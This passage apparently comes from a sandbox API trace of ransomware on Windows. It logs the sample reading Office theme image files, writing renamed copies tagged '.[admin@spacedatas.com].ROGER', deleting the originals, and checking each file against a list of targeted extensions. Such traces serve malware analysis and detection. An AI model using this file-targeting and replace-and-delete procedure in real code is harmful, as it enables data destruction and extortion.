liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.815] SetEndOfFile (hFile=0x3a0) returned 1 [0046.815] CloseHandle (hObject=0x3a0) returned 1 [0046.816] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0046.816] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif")) returned 1 [0046.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0046.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0046.816] lstrlenW (lpString=".doc") returned 4 [0046.816] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0046.816] lstrlenW (lpString=".docx") returned 5 [0046.816] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0046.816] lstrlenW (lpString=".pdf") returned 4 [0046.816] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0046.816] lstrlenW (lpString=".xls") returned 4 [0046.816] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0046.816] lstrlenW (lpString=".xlsx") returned 5 [0046.816] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0046.816] lstrlenW (lpString=".ppt") returned 4 [0046.816] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0046.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0046.816] lstrlenW (lpString=".zip") returned 4 [0046.816] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0046.817] lstrlenW (lpString=".rar") returned 4 [0046.817] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0046.817] lstrlenW (lpString=".bz2") returned 4 [0046.817] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0046.817] lstrlenW (lpString=".7z") returned 3 [0046.817] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0046.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0046.817] lstrlenW (lpString=".dbf") returned 4 [0046.817] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0046.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0046.817] lstrlenW (lpString=".1cd") returned 4 [0046.817] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0046.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0046.817] lstrlenW (lpString=".jpg") returned 4 [0046.817] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0046.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0046.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0046.817] lstrlenW (lpString=".doc") returned 4 [0046.817] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0046.817] lstrlenW (lpString=".docx") returned 5 [0046.817] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0046.817] lstrlenW (lpString=".pdf") returned 4 [0046.817] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0046.817] lstrlenW (lpString=".xls") returned 4 [0046.817] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0046.817] lstrlenW (lpString=".xlsx") returned 5 [0046.817] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0046.817] lstrlenW (lpString=".ppt") returned 4 [0046.817] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0046.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0046.817] lstrlenW (lpString=".zip") returned 4 [0046.817] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0046.818] lstrlenW (lpString=".rar") returned 4 [0046.818] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0046.818] lstrlenW (lpString=".bz2") returned 4 [0046.818] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0046.818] lstrlenW (lpString=".7z") returned 3 [0046.818] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0046.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0046.818] lstrlenW (lpString=".dbf") returned 4 [0046.818] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0046.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0046.818] lstrlenW (lpString=".1cd") returned 4 [0046.818] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0046.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0046.818] lstrlenW (lpString=".jpg") returned 4 [0046.818] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0046.818] lstrcmpiW (lpString1=".PNG", lpString2=".ROGER") returned -1 [0046.818] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0046.818] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0046.819] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=25234) returned 1 [0046.819] CloseHandle (hObject=0x3a0) returned 1 [0046.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png")) returned 0x20 [0046.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0046.819] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0046.819] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.819] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.819] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0046.820] GetLastError () returned 0x0 [0046.820] ReadFile (in: hFile=0x3a0, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x6292, lpOverlapped=0x0) returned 1 [0046.821] WriteFile (in: hFile=0x3ac, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x62a0, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x62a0, lpOverlapped=0x0) returned 1 [0046.823] ReadFile (in: hFile=0x3a0, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.823] WriteFile (in: hFile=0x3ac, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xec, lpOverlapped=0x0) returned 1 [0046.823] SetEndOfFile (hFile=0x3ac) returned 1 [0046.823] CloseHandle (hObject=0x3ac) returned 1 [0046.823] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.823] SetEndOfFile (hFile=0x3a0) returned 1 [0046.824] CloseHandle (hObject=0x3a0) returned 1 [0046.824] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0046.824] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png")) returned 1 [0046.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0046.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0046.824] lstrlenW (lpString=".doc") returned 4 [0046.825] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0046.825] lstrlenW (lpString=".docx") returned 5 [0046.825] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0046.825] lstrlenW (lpString=".pdf") returned 4 [0046.825] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0046.825] lstrlenW (lpString=".xls") returned 4 [0046.825] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0046.825] lstrlenW (lpString=".xlsx") returned 5 [0046.825] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0046.825] lstrlenW (lpString=".ppt") returned 4 [0046.825] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0046.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0046.825] lstrlenW (lpString=".zip") returned 4 [0046.825] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0046.825] lstrlenW (lpString=".rar") returned 4 [0046.825] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0046.825] lstrlenW (lpString=".bz2") returned 4 [0046.825] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0046.825] lstrlenW (lpString=".7z") returned 3 [0046.825] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0046.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0046.825] lstrlenW (lpString=".dbf") returned 4 [0046.825] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0046.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0046.825] lstrlenW (lpString=".1cd") returned 4 [0046.825] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0046.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0046.825] lstrlenW (lpString=".jpg") returned 4 [0046.825] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0046.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0046.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0046.825] lstrlenW (lpString=".doc") returned 4 [0046.826] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0046.826] lstrlenW (lpString=".docx") returned 5 [0046.826] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0046.826] lstrlenW (lpString=".pdf") returned 4 [0046.826] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0046.826] lstrlenW (lpString=".xls") returned 4 [0046.826] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0046.826] lstrlenW (lpString=".xlsx") returned 5 [0046.826] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0046.826] lstrlenW (lpString=".ppt") returned 4 [0046.826] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0046.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0046.826] lstrlenW (lpString=".zip") returned 4 [0046.826] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0046.826] lstrlenW (lpString=".rar") returned 4 [0046.826] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0046.826] lstrlenW (lpString=".bz2") returned 4 [0046.826] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0046.826] lstrlenW (lpString=".7z") returned 3 [0046.826] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0046.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0046.826] lstrlenW (lpString=".dbf") returned 4 [0046.826] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0046.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0046.826] lstrlenW (lpString=".1cd") returned 4 [0046.826] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0046.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG") returned 77 [0046.826] lstrlenW (lpString=".jpg") returned 4 [0046.826] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0046.826] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0046.827] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0046.827] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0046.827] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=2985) returned 1 [0046.827] CloseHandle (hObject=0x3a0) returned 1 [0046.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif")) returned 0x20 [0046.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0046.828] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0046.828] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.828] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.828] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0047.416] GetLastError () returned 0x0 [0047.416] ReadFile (in: hFile=0x3a0, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0xba9, lpOverlapped=0x0) returned 1 [0047.424] WriteFile (in: hFile=0x3e4, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xbb0, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xbb0, lpOverlapped=0x0) returned 1 [0047.424] ReadFile (in: hFile=0x3a0, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.425] WriteFile (in: hFile=0x3e4, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xea, lpOverlapped=0x0) returned 1 [0047.425] SetEndOfFile (hFile=0x3e4) returned 1 [0047.425] CloseHandle (hObject=0x3e4) returned 1 [0047.425] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.425] SetEndOfFile (hFile=0x3a0) returned 1 [0047.426] CloseHandle (hObject=0x3a0) returned 1 [0047.426] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0047.426] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif")) returned 1 [0047.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0047.426] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0047.426] lstrlenW (lpString=".doc") returned 4 [0047.426] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.426] lstrlenW (lpString=".docx") returned 5 [0047.426] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.426] lstrlenW (lpString=".pdf") returned 4 [0047.426] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.426] lstrlenW (lpString=".xls") returned 4 [0047.426] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.426] lstrlenW (lpString=".xlsx") returned 5 [0047.427] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.427] lstrlenW (lpString=".ppt") returned 4 [0047.427] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0047.427] lstrlenW (lpString=".zip") returned 4 [0047.427] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.427] lstrlenW (lpString=".rar") returned 4 [0047.427] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.427] lstrlenW (lpString=".bz2") returned 4 [0047.427] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.427] lstrlenW (lpString=".7z") returned 3 [0047.427] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0047.427] lstrlenW (lpString=".dbf") returned 4 [0047.427] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0047.427] lstrlenW (lpString=".1cd") returned 4 [0047.427] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0047.427] lstrlenW (lpString=".jpg") returned 4 [0047.427] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0047.427] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0047.427] lstrlenW (lpString=".doc") returned 4 [0047.427] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.427] lstrlenW (lpString=".docx") returned 5 [0047.427] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.427] lstrlenW (lpString=".pdf") returned 4 [0047.427] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.427] lstrlenW (lpString=".xls") returned 4 [0047.427] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.427] lstrlenW (lpString=".xlsx") returned 5 [0047.428] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.428] lstrlenW (lpString=".ppt") returned 4 [0047.428] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0047.428] lstrlenW (lpString=".zip") returned 4 [0047.428] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.428] lstrlenW (lpString=".rar") returned 4 [0047.428] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.428] lstrlenW (lpString=".bz2") returned 4 [0047.428] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.428] lstrlenW (lpString=".7z") returned 3 [0047.428] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0047.428] lstrlenW (lpString=".dbf") returned 4 [0047.428] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0047.428] lstrlenW (lpString=".1cd") returned 4 [0047.428] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.428] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0047.428] lstrlenW (lpString=".jpg") returned 4 [0047.428] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.428] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0047.429] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0047.429] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0047.429] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=1925) returned 1 [0047.429] CloseHandle (hObject=0x3a0) returned 1 [0047.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif")) returned 0x20 [0047.429] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0047.429] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0047.429] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.429] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.429] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0047.431] GetLastError () returned 0x0 [0047.431] ReadFile (in: hFile=0x3a0, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x785, lpOverlapped=0x0) returned 1 [0047.433] WriteFile (in: hFile=0x370, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x790, lpOverlapped=0x0) returned 1 [0047.434] ReadFile (in: hFile=0x3a0, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.434] WriteFile (in: hFile=0x370, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x437fc9c, 